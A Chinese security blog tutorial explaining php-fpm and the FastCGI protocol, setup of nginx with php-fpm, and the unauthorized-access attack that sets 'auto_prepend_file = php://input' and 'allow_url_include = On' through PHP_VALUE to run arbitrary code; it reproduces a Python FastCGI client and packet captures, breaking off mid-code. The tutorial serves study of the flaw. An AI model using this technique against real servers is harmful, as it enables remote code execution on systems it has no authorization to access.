浅析php-fpm的攻击方式

2019-07-09 约 9644 字 预计阅读 20 分钟

声明:本文 【浅析php-fpm的攻击方式】 由作者 xq17 于 2019-07-09 09:15:00 首发 先知社区 曾经 浏览数 79 次

感谢 xq17 的辛苦付出!

浅析php-fpm的攻击方式

0x1 前言

 关于php-fpm之前自己了解的并不多,不过之前在比赛的时候遇到过几次,但是自己太菜了没做到那一步,最近放假在刷文章的时候感觉php-fpm攻击很有意思,因为涉及到协议交互的问题,能让自己在摸索的过程中学习到很多东西。虽然p牛的文章已经很详细,但是我还是打算对其进行细细研究和探讨一番。

0x2 php-fpm的概念

官方定义如下: FastCGI 进程管理器(FPM)

FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。

故名思义,FPM是管理FastCGI进程的,能够解析fastcgi协议。

www.example.com
        |
        |
      Nginx
        |
        |
路由到www.example.com/index.php
        |
        |
加载nginx的fast-cgi模块
        |
        |
fast-cgi监听127.0.0.1:9000地址
        |
        |
www.example.com/index.php请求到达127.0.0.1:9000
        |
        |
php-fpm 监听127.0.0.1:9000
        |
        |
php-fpm 接收到请求,启用worker进程处理请求
        |
        |
php-fpm 处理完请求,返回给nginx
        |
        |
nginx将结果通过http返回给浏览器

FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,也就是说FPM的功能大部分是FastCGI的功能,所以我们可以了解下FastCGI的作用。

FastCGI本质是一种协议,在cgi协议的基础上发展起来的。

cgi的历史:

早期的webserver只处理html等静态文件,但是随着技术的发展,出现了像php等动态语言。
webserver处理不了了,怎么办呢?那就交给php解释器来处理吧!
交给php解释器处理很好,但是,php解释器如何与webserver进行通信呢?
为了解决不同的语言解释器(如php、python解释器)与webserver的通信,于是出现了cgi协议。只要你按照cgi协议去编写程序,就能实现语言解释器与webwerver的通信。如php-cgi程序。

Fast-CGI:

虽然cgi解决php解释器与webserver的通信问题,但是webserver每收到一个请求就会去fork一个cgi进程,请求结束再kill掉这个进程,这样会很浪费资源,于是出现了cgi的改良版本。

fast-cgi每次处理完请求后,不会kill掉这个进程,而是保留这个进程,使这个进程可以一次处理多个请求。这样每次就不用重新fork一个进程了,大大提高了效率。

总结来说:

php-fpm 是一个Fastcgi的实现,并提供进程管理功能。

进程包含了master进程和worker进程

master进程只有一个,负责监听端口(一般是9000)接收来自Web Server的请求,而worker进程则一般有多个(具体数量根据实际需要配置),每个进程内部都嵌入了一个php解释器,是php代码真正执行的地方。

上面第一个是主进程,下面两个是worker进程。

0x3 如何安装php-fpm

了解玩php-fpm之后,我们就需要进行安装php-fpm了。

操作如下:

0x 3.1 源代码编译

参考官方文档: PHP 手册 安装与配置 FastCGI 进程管理器(FPM)

编译 PHP 时需要 --enable-fpm 配置选项来激活 FPM 支持。

以下为 FPM 编译的具体配置参数(全部为可选参数):

  • --with-fpm-user - 设置 FPM 运行的用户身份(默认 - nobody)
  • --with-fpm-group - 设置 FPM 运行时的用户组(默认 - nobody)
  • --with-fpm-systemd - 启用 systemd 集成 (默认 - no)
  • --with-fpm-acl - 使用POSIX 访问控制列表 (默认 - no) 5.6.5版本起有效

0x 3.2 命令行安装

1. sudo apt update
2. sudo apt install -y nginx
3. sudo apt install -y software-properties-common
4. sudo add-apt-repository -y ppa:ondrej/php
5. sudo apt update
6. sudo apt install -y php7.3-fpm

php-fpm的通信方式有tcp和套接字(unix socket)两种方式

tcp 与 socket的区别

1.tcp方式的话就是直接fpm直接通过监听本地9000端口来进行通信

2.unix socket其实严格意义上应该叫unix domain socket,它是*nix系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为socket的唯一标识(描述符),需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了。

Unix domain socket 或者 IPC socket是一种终端,可以使同一台操作系统上的两个或多个进程进行数据通信。与管道相比,Unix domain sockets 既可以使用字节流和数据队列,而管道通信则只能通过字节流。Unix domain sockets的接口和Internet socket很像,但它不使用网络底层协议来通信。Unix domain socket 的功能是POSIX操作系统里的一种组件。Unix domain sockets 使用系统文件的地址来作为自己的身份。它可以被系统进程引用。所以两个进程可以同时打开一个Unix domain sockets来进行通信。不过这种通信方式是发生在系统内核里而不会在网络里传播

效率方面,由于tcp需要经过本地回环驱动,还要申请临时端口和tcp相关资源,所以会比socket差,但是在多并发条件下tcp的比socket有优势。 基于两种通信方式不同,所以在攻击的时候也会有相应的差别。

0x3.2.1 配置tcp模式下的php-fpm

1.sudo vim /etc/nginx/sites-enabled/default 查看默认的安装的配置文件

从16行开始就是nginx的配置,去掉从51行开始的注释,然后注释掉57行的sock方式。

ubuntu下默认的nginx安装路径为: /etc/nginx,所以fastcgi-php的文件路径在/snippets

下面是nginx配置文件的讲解:

server {

​ listen 80 default_server; # 监听80端口,接收http请求

​ servername ; # 网站地址

​ root /var/www/html; # 网站根目录

​ location /{

​ #First attempt to serve request as file, then
​ # as directory, then fall back to displaying a 404.

​ try_files \$uri \$uri/ =404; # 文件不存在就返回404状态

}

# 下面是重点

location ~ .php$ {
include snippets/fastcgi-php.conf; #加载nginx的fastcgi模块
# With php7.0-cgi alone:

​ fastcgi_pass 127.0.0.1:9000; # 监听nginx fastcgi进程监听的ip地址和端口
​ # With php7.0-fpm:
​ # fastcgi_pass unix:/run/php/php7.0-fpm.sock;
​ }

}

修改成如上配置就好了.

sudo vim /etc/php/7.3/fpm/pool.d/www.conf

修改为:

listen = 127.0.0.1:9000

以上配置完成,我们在重启nginx和启动php-fpm(这是独立于nginx的一个进程)

1./etc/init.d/php7.3-fpm start

2.service nginx reload

结果发现502错误,我们可以通过查看fpm的错误文件查看原因

/etc/php/7.3/fpm/php-fpm.conf

得到error_log的存在位置

error_log = /var/log/php7.3-fpm.log发现不是这个问题

后来查看cat /var/log/nginx/error.log

可以看到php-fpm没有启动起来

这个时候可以尝试下重启命令,来加载修改的配置文件:

/etc/init.d/php7.3-fpm restart

查看9000端口的情况:

netstat -ap | grep 9000

然后再重新访问:

http://127.0.0.1/phpinfo.php

可以看到成功启动了FPM/FastCGI模式

0x3.2.2 配置unix socket模式下的php-fpm

socket模式的话跟上面差不多,修改的是:

sudo vim /etc/nginx/sites-enabled/default

注释掉之前的tcp端口,然后修改为:/run/php/php7.3-fpm.sock

这个路径可以在/etc/php/7.3/fpm/pool.d/www.conf查看到,当然你也可以修改为别的,比如

/dev/shm 这个是tmpfs,RAM可以直接读取,速度很快,但是你就需要修改两个文件统一起来

sudo vim /etc/php/7.3/fpm/pool.d/www.con

修改为如下:

即可,然后重启就ok了。

0x3.3 docker一键快速搭建

这里采取p神的vulnhub的环境:

vulnhub

在目录下编写个docker-compose.yml文件

version: '2'
services:
  php:
    image: php:fpm
    ports:
      - "9000:9000"

docker-compose up -d

如果失败的话,建议直接git clone 下来再去执行

0x4 php-fpm 未授权访问攻击

了解了上面内容,其实就是php-fpm的工作流程,那么工作流程容易发生的脆弱点在哪里?

交互验证

我与@ev0a师傅交流过,这个漏洞是php-fpm一个设计缺陷,因为分别是两个进程通信没有进行安全性验证。

所以我们可以伪造nginx的发送fastCGI封装的数据给php-fpm去解析就可以造成一定问题

那么问题有多严重? 任意代码执行

那么怎么实现任意代码执行呢?

这个可以从FastCGI协议封装数据内容来看:

  1. PHP 进阶之路 - 深入理解 FastCGI 协议以及在 PHP 中的实现
  2. Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
typedef struct {
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的类型
  unsigned char requestIdB1; // 本次record对应的请求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body体的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 

  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

语言端解析了fastcgi头以后,拿到contentLength,然后再在TCP流里读取大小等于contentLength的数据,这就是body体。

Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留作用。不需要该Padding的时候,将其长度设置为0即可。

可见,一个fastcgi record结构最大支持的body大小是2^16,也就是65536字节。

当type=4时,设置环境变量实际请求中就会类似如下键值对:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

其中有个关键的地方,'SCRIPT_FILENAME': '/var/www/html/index.php',代表着php-fpm会去执行这个文件。

虽然我们可以控制php-fpm去执行一个存在的文件

在php5.3.9之后加入了fpm增加了security.limit_extensions选项

; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5 .php7

导致我们只能控制php-fpm去执行一个.php .php3之类的后缀的文件,这个我们可以通过爆破web目录,默认安装环境下php文件来进行控制。

虽然我们可以控制执行任意一个php文件,但是我们还得需要控制内容写入恶意代码才行。

前面我们已经知道了,fastCGI的作用是把'SCRIPT_FILENAME'的文件交予给woker进程解析,所以我们没办法去控制内容,但是php-fpm可以设置环境变量。

'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'

我们可以通过PHP_VALUE PHP_ADMIN_VALUE来设置php配置项,参考php-fpm.conf 全局配置段

fastcgi是否也支持类似的动态修改php的配置?我查了一下资料,发现原本FPM是不支持的,直到某开发者提交了一个bug,php官方才将此特性Merge到php 5.3.3的源码中去。

通用通过设置FASTCGI_PARAMS,我们可以利用PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置。

当设置php环境变量为:

auto_prepend_file = php://input;allow_url_include = On

就会在执行php脚本之前包含auto_prepend_file文件的内容,php://input也就是POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码。

至此完成php-fpm未授权的任意代码执行攻击。

0x5 浅探编写攻击脚本的原理

其实原理就是编写一个FastCGI 的客户端,然后修改发送的数据为我们的恶意代码就可以了。

分享个p牛脚本里面的一个client客户端: Python FastCGI Client

还要php语言客户端: fastcgi客户端PHP语言实现

分析下githud上client客户端这个脚本的架构:

#!/usr/bin/python

import socket
import random


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        return chr(FastCGIClient.__FCGI_VERSION) \
               + chr(fcgi_type) \
               + chr((requestid >> 8) & 0xFF) \
               + chr(requestid & 0xFF) \
               + chr((length >> 8) & 0xFF) \
               + chr(length & 0xFF) \
               + chr(0) \
               + chr(0) \
               + content

    def __encodeNameValueParams(self, name, value):
        nLen = len(str(name))
        vLen = len(str(value))
        record = ''
        if nLen < 128:
            record += chr(nLen)
        else:
            record += chr((nLen >> 24) | 0x80) \
                      + chr((nLen >> 16) & 0xFF) \
                      + chr((nLen >> 8) & 0xFF) \
                      + chr(nLen & 0xFF)
        if vLen < 128:
            record += chr(vLen)
        else:
            record += chr((vLen >> 24) | 0x80) \
                      + chr((vLen >> 16) & 0xFF) \
                      + chr((vLen >> 8) & 0xFF) \
                      + chr(vLen & 0xFF)
        return record + str(name) + str(value)

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = ord(stream[0])
        header['type'] = ord(stream[1])
        header['requestId'] = (ord(stream[2]) << 8) + ord(stream[3])
        header['contentLength'] = (ord(stream[4]) << 8) + ord(stream[5])
        header['paddingLength'] = ord(stream[6])
        header['reserved'] = ord(stream[7])
        return header

    def __decodeFastCGIRecord(self):
        header = self.sock.recv(int(FastCGIClient.__FCGI_HEADER_SIZE))
        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = ''
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                buffer = self.sock.recv(contentLength)
                while contentLength and buffer:
                    contentLength -= len(buffer)
                    record['content'] += buffer
            if 'paddingLength' in record.keys():
                skiped = self.sock.recv(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = ""
        beginFCGIRecordContent = chr(0) \
                                 + chr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + chr(self.keepalive) \
                                 + chr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = ''
        if nameValuePairs:
            for (name, value) in nameValuePairs.iteritems():
                # paramsRecord = self.__encodeNameValueParams(name, value)
                # request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, '', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, post, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, '', requestId)
        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = ''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        while True:
            response = self.__decodeFastCGIRecord()
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)
0x5.1 Fastcgi协议简介

Fastcgi协议是由一段一段的数据段组成,可以想象成一个车队,每辆车装了不同的数据,但是车队的顺序是固定的。输入时顺序为:请求开始描述、请求键值对、请求输入数据流。输出时顺序为:错误输出数据流、正常输出数据流、请求结束描述。
其中键值对、输入流、输出流,错误流的数据和CGI程序是一样的,只不过是换了种传输方式而已。
再回到车队的描述,每辆车的结构也是统一的,在前面都有一个引擎,引擎决定了你的车是什么样的。所以,每个数据块都包含一个头部信息,结构如下:

typedef struct {
   unsigned char version;  // 版本号
   unsigned char type;     // 记录类型
   unsigned char requestIdB1;  // 记录id高8位
   unsigned char requestIdB0;  // 记录id低8位
   unsigned char contentLengthB1;  // 记录内容长度高8位
   unsigned char contentLengthB0;  // 记录内容长度低8位
   unsigned char paddingLength;    // 补齐位长度
   unsigned char reserved; // 真·记录头部补齐位
} FCGI_Header;

当处于__FCGI_TYPE_BEGIN = 1 请求输入的状态的时候,需要一个描述FastCGI服务器充当的角色以及相关的设定

typedef struct {
   unsigned char roleB1;   // 角色类型高8位
   unsigned char roleB0;   // 角色类型低8位
   unsigned char flags;    // 小红旗
   unsigned char reserved[5];  // 补齐位
} FCGI_BeginRequestBody;

官方在升级CGI的时候,同时加入了多种角色给Fastcgi协议,其中定义为:

#define FCGI_RESPONDER 1  响应器
#define FCGI_AUTHORIZER 2 权限控制授权器
#define FCGI_FILTER 3 处理特殊数据的过滤器

对应脚本开头那一段设置全局变量:

# 版本号
    __FCGI_VERSION = 1

   # FastCGI服务器角色及其设置
    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

        # type 记录类型
    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

介绍下几个关键代码:

requestId = random.randint(1, (1 << 16) - 1)

区分多段Record.requestId作为同一次请求的标志,unsigned char requestId 变量大小为1字节,8bit确定了范围

我们采取tcpdump看下nginx的客户端通信过程:

指定本地回环网卡,获取9000端口的数据包

sudo tcpdump -nn -i lo tcp dst port 9000

解析包数据:

sudo tcpdump -q -XX -vvv -nn -i lo tcp dst port 9000

tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
14:27:45.469909 IP (tos 0x0, ttl 64, id 36556, offset 0, flags [DF], proto TCP (6), length 60)
    127.0.0.1.56188 > 127.0.0.1.9000: tcp 0
    0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
    0x0010:  003c 8ecc 4000 4006 aded 7f00 0001 7f00  .<..@.@.........
    0x0020:  0001 db7c 2328 808f 223c 0000 0000 a002  ...|#(.."<......
    0x0030:  aaaa fe30 0000 0204 ffd7 0402 080a 2094  ...0............
    0x0040:  80a5 0000 0000 0103 0307                 ..........
14:27:45.469928 IP (tos 0x0, ttl 64, id 36557, offset 0, flags [DF], proto TCP (6), length 52)
    127.0.0.1.56188 > 127.0.0.1.9000: tcp 0
    0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
    0x0010:  0034 8ecd 4000 4006 adf4 7f00 0001 7f00  .4..@.@.........
    0x0020:  0001 db7c 2328 808f 223d 446c 9160 8010  ...|#(.."=Dl.`..
    0x0030:  0156 fe28 0000 0101 080a 2094 80a5 2094  .V.(............
    0x0040:  80a5                                     ..
14:27:45.469956 IP (tos 0x0, ttl 64, id 36558, offset 0, flags [DF], proto TCP (6), length 844)
    127.0.0.1.56188 > 127.0.0.1.9000: tcp 792
    0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
    0x0010:  034c 8ece 4000 4006 aadb 7f00 0001 7f00  .L..@.@.........
    0x0020:  0001 db7c 2328 808f 223d 446c 9160 8018  ...|#(.."=Dl.`..
    0x0030:  0156 0141 0000 0101 080a 2094 80a5 2094  .V.A............
    0x0040:  80a5 0101 0001 0008 0000 0001 0000 0000  ................
    0x0050:  0000 0104 0001 02ef 0100 0900 5041 5448  ............PATH
    0x0060:  5f49 4e46 4f0f 1953 4352 4950 545f 4649  _INFO..SCRIPT_FI
    0x0070:  4c45 4e41 4d45 2f76 6172 2f77 7777 2f68  LENAME/var/www/h
    0x0080:  746d 6c2f 7068 7069 6e66 6f2e 7068 700c  tml/phpinfo.php.
    0x0090:  0051 5545 5259 5f53 5452 494e 470e 0352  .QUERY_STRING..R
    0x00a0:  4551 5545 5354 5f4d 4554 484f 4447 4554  EQUEST_METHODGET
    0x00b0:  0c00 434f 4e54 454e 545f 5459 5045 0e00  ..CONTENT_TYPE..
    0x00c0:  434f 4e54 454e 545f 4c45 4e47 5448 0b0c  CONTENT_LENGTH..
    0x00d0:  5343 5249 5054 5f4e 414d 452f 7068 7069  SCRIPT_NAME/phpi
    0x00e0:  6e66 6f2e 7068 700b 0c52 4551 5545 5354  nfo.php..REQUEST
    0x00f0:  5f55 5249 2f70 6870 696e 666f 2e70 6870  _URI/phpinfo.php
    0x0100:  0c0c 444f 4355 4d45 4e54 5f55 5249 2f70  ..DOCUMENT_URI/p
    0x0110:  6870 696e 666f 2e70 6870 0d0d 444f 4355  hpinfo.php..DOCU
    0x0120:  4d45 4e54 5f52 4f4f 542f 7661 722f 7777  MENT_ROOT/var/ww
    0x0130:  772f 6874 6d6c 0f08 5345 5256 4552 5f50  w/html..SERVER_P
    0x0140:  524f 544f 434f 4c48 5454 502f 312e 310e  ROTOCOLHTTP/1.1.
    0x0150:  0452 4551 5545 5354 5f53 4348 454d 4568  .REQUEST_SCHEMEh
    0x0160:  7474 7011 0747 4154 4557 4159 5f49 4e54  ttp..GATEWAY_INT
    0x0170:  4552 4641 4345 4347 492f 312e 310f 0c53  ERFACECGI/1.1..S
    0x0180:  4552 5645 525f 534f 4654 5741 5245 6e67  ERVER_SOFTWAREng
    0x0190:  696e 782f 312e 3130 2e33 0b09 5245 4d4f  inx/1.10.3..REMO
    0x01a0:  5445 5f41 4444 5231 3237 2e30 2e30 2e31  TE_ADDR127.0.0.1
    0x01b0:  0b05 5245 4d4f 5445 5f50 4f52 5435 3430  ..REMOTE_PORT540
    0x01c0:  3834 0b09 5345 5256 4552 5f41 4444 5231  84..SERVER_ADDR1
    0x01d0:  3237 2e30 2e30 2e31 0b02 5345 5256 4552  27.0.0.1..SERVER
    0x01e0:  5f50 4f52 5438 300b 0153 4552 5645 525f  _PORT80..SERVER_
    0x01f0:  4e41 4d45 5f0f 0352 4544 4952 4543 545f  NAME_..REDIRECT_
    0x0200:  5354 4154 5553 3230 3009 0948 5454 505f  STATUS200..HTTP_
    0x0210:  484f 5354 3132 372e 302e 302e 310f 4c48  HOST127.0.0.1.LH
    0x0220:  5454 505f 5553 4552 5f41 4745 4e54 4d6f  TTP_USER_AGENTMo
    0x0230:  7a69 6c6c 612f 352e 3020 2858 3131 3b20  zilla/5.0.(X11;.
    0x0240:  5562 756e 7475 3b20 4c69 6e75 7820 7838  Ubuntu;.Linux.x8
    0x0250:  365f 3634 3b20 7276 3a36 372e 3029 2047  6_64;.rv:67.0).G
    0x0260:  6563 6b6f 2f32 3031 3030 3130 3120 4669  ecko/20100101.Fi
    0x0270:  7265 666f 782f 3637 2e30 0b3f 4854 5450  refox/67.0.?HTTP
    0x0280:  5f41 4343 4550 5474 6578 742f 6874 6d6c  _ACCEPTtext/html
    0x0290:  2c61 7070 6c69 6361 7469 6f6e 2f78 6874  ,application/xht
    0x02a0:  6d6c 2b78 6d6c 2c61 7070 6c69 6361 7469  ml+xml,applicati
    0x02b0:  6f6e 2f78 6d6c 3b71 3d30 2e39 2c2a 2f2a  on/xml;q=0.9,*/*
    0x02c0:  3b71 3d30 2e38 140e 4854 5450 5f41 4343  ;q=0.8..HTTP_ACC
    0x02d0:  4550 545f 4c41 4e47 5541 4745 656e 2d55  EPT_LANGUAGEen-U
    0x02e0:  532c 656e 3b71 3d30 2e35 140d 4854 5450  S,en;q=0.5..HTTP
    0x02f0:  5f41 4343 4550 545f 454e 434f 4449 4e47  _ACCEPT_ENCODING
    0x0300:  677a 6970 2c20 6465 666c 6174 650f 0a48  gzip,.deflate..H
    0x0310:  5454 505f 434f 4e4e 4543 5449 4f4e 6b65  TTP_CONNECTIONke
    0x0320:  6570 2d61 6c69 7665 1e01 4854 5450 5f55  ep-alive..HTTP_U
    0x0330:  5047 5241 4445 5f49 4e53 4543 5552 455f  PGRADE_INSECURE_
    0x0340:  5245 5155 4553 5453 3100 0104 0001 0000  REQUESTS1.......
    0x0350:  0000 0105 0001 0000 0000                 ..........
14:27:45.471673 IP (tos 0x0, ttl 64, id 36559, offset 0, flags [DF], proto TCP (6), length 52)
    127.0.0.1.56188 > 127.0.0.1.9000: tcp 0
    0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
    0x0010:  0034 8ecf 4000 4006 adf2 7f00 0001 7f00  .4..@.@.........
    0x0020:  0001 db7c 2328 808f 2555 446c 91a0 8010  ...|#(..%UDl....
    0x0030:  0156 fe28 0000 0101 080a 2094 80a5 2094  .V.(............
    0x0040:  80a5                                     ..
14:27:45.471699 IP (tos 0x0, ttl 64, id 36560, offset 0, flags [DF], proto TCP (6), length 52)
    127.0.0.1.56188 > 127.0.0.1.9000: tcp 0
    0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
    0x0010:  0034 8ed0 4000 4006 adf1 7f00 0001 7f00  .4..@.@.........
    0x0020:  0001 db7c 2328 808f 2555 446c e720 8010  ...|#(..%UDl....
    0x0030:  0555 fe28 0000 0101 080a 2094 80a5 2094  .U.(............
    0x0040:  80a5                                     ..
14:27:45.471755 IP (tos 0x0, ttl 64, id 36561, offset 0, flags [DF], proto TCP (6), length 52)
    127.0.0.1.56188 > 127.0.0.1.9000: tcp 0
    0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
    0x0010:  0034 8ed1 4000 4006 adf0 7f00 0001 7f00  .4..@.@.........
    0x0020:  0001 db7c 2328 808f 2555 446d 9198 8010  ...|#(..%UDm....
    0x0030:  0954 fe28 0000 0101 080a 2094 80a5 2094  .T.(............
    0x0040:  80a5                                     ..
14:27:45.473520 IP (tos 0x0, ttl 64, id 36564, offset 0, flags [DF], proto TCP (6), length 52)
    127.0.0.1.56188 > 127.0.0.1.9000: tcp 0
    0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
    0x0010:  0034 8ed4 4000 4006 aded 7f00 0001 7f00  .4..@.@.........
    0x0020:  0001 db7c 2328 808f 2555 446d 91d9 8011  ...|#(..%UDm....
    0x0030:  0954 fe28 0000 0101 080a 2094 80a6 2094  .T.(............
    0x0040:  80a5                                     ..

sudo tcpdump -q -XX -vvv -nn -i lo tcp dst port 9000 -w /tmp/1.cap 保存然后在wireshark进行分析下,发现还是很难看出通信规律(二进制流数据没办法看出怎么发送数据包的,tcl),最后问了下p牛,然后我跑去看nginx的源代码了。(未果,还是得搭建环境来debug下数据流才能,静态读太吃力了)

简单的FastCGI请求数据结构如下:

ngx_http_fastcgi_create_request这个是关键函数

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        return chr(FastCGIClient.__FCGI_VERSION) \
               + chr(fcgi_type) \
               + chr((requestid >> 8) & 0xFF) \
               + chr(requestid & 0xFF) \
               + chr((length >> 8) & 0xFF) \
               + chr(length & 0xFF) \
               + chr(0) \
               + chr(0) \ 
               + content


      def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = ""
        beginFCGIRecordContent = chr(0) \
                                 + chr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + chr(self.keepalive) \
                                 + chr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = ''

其实这些就是对应上面的结构,而且是8字节对齐的,就有了chr(0)*5来填充。

typedef struct {
    u_char  version;
    u_char  type;
    u_char  request_id_hi;
    u_char  request_id_lo;
    u_char  content_length_hi;
    u_char  content_length_lo;
    u_char  padding_length;
    u_char  reserved;
} ngx_http_fastcgi_header_t;
return chr(FastCGIClient.__FCGI_VERSION) \
               + chr(fcgi_type) \
               + chr((requestid >> 8) & 0xFF) \
               + chr(requestid & 0xFF) \
               + chr((length >> 8) & 0xFF) \
               + chr(length & 0xFF) \
               + chr(0) \
               + chr(0) \ 
               + content

通过& 移位控制为1字节大小(对应上面给出的header结构体变量的大小)。

if (val_len > 127) {
                *e.pos++ = (u_char) (((val_len >> 24) & 0x7f) | 0x80);
                *e.pos++ = (u_char) ((val_len >> 16) & 0xff);
                *e.pos++ = (u_char) ((val_len >> 8) & 0xff);
                *e.pos++ = (u_char) (val_len & 0xff);

            } else {
                *e.pos++ = (u_char) val_len;
            }
def __encodeNameValueParams(self, name, value):
        nLen = len(str(name))
        vLen = len(str(value))
        record = ''
        if nLen < 128:
            record += chr(nLen)
        else:
            record += chr((nLen >> 24) | 0x80) \
                      + chr((nLen >> 16) & 0xFF) \
                      + chr((nLen >> 8) & 0xFF) \
                      + chr(nLen & 0xFF)
        if vLen < 128:
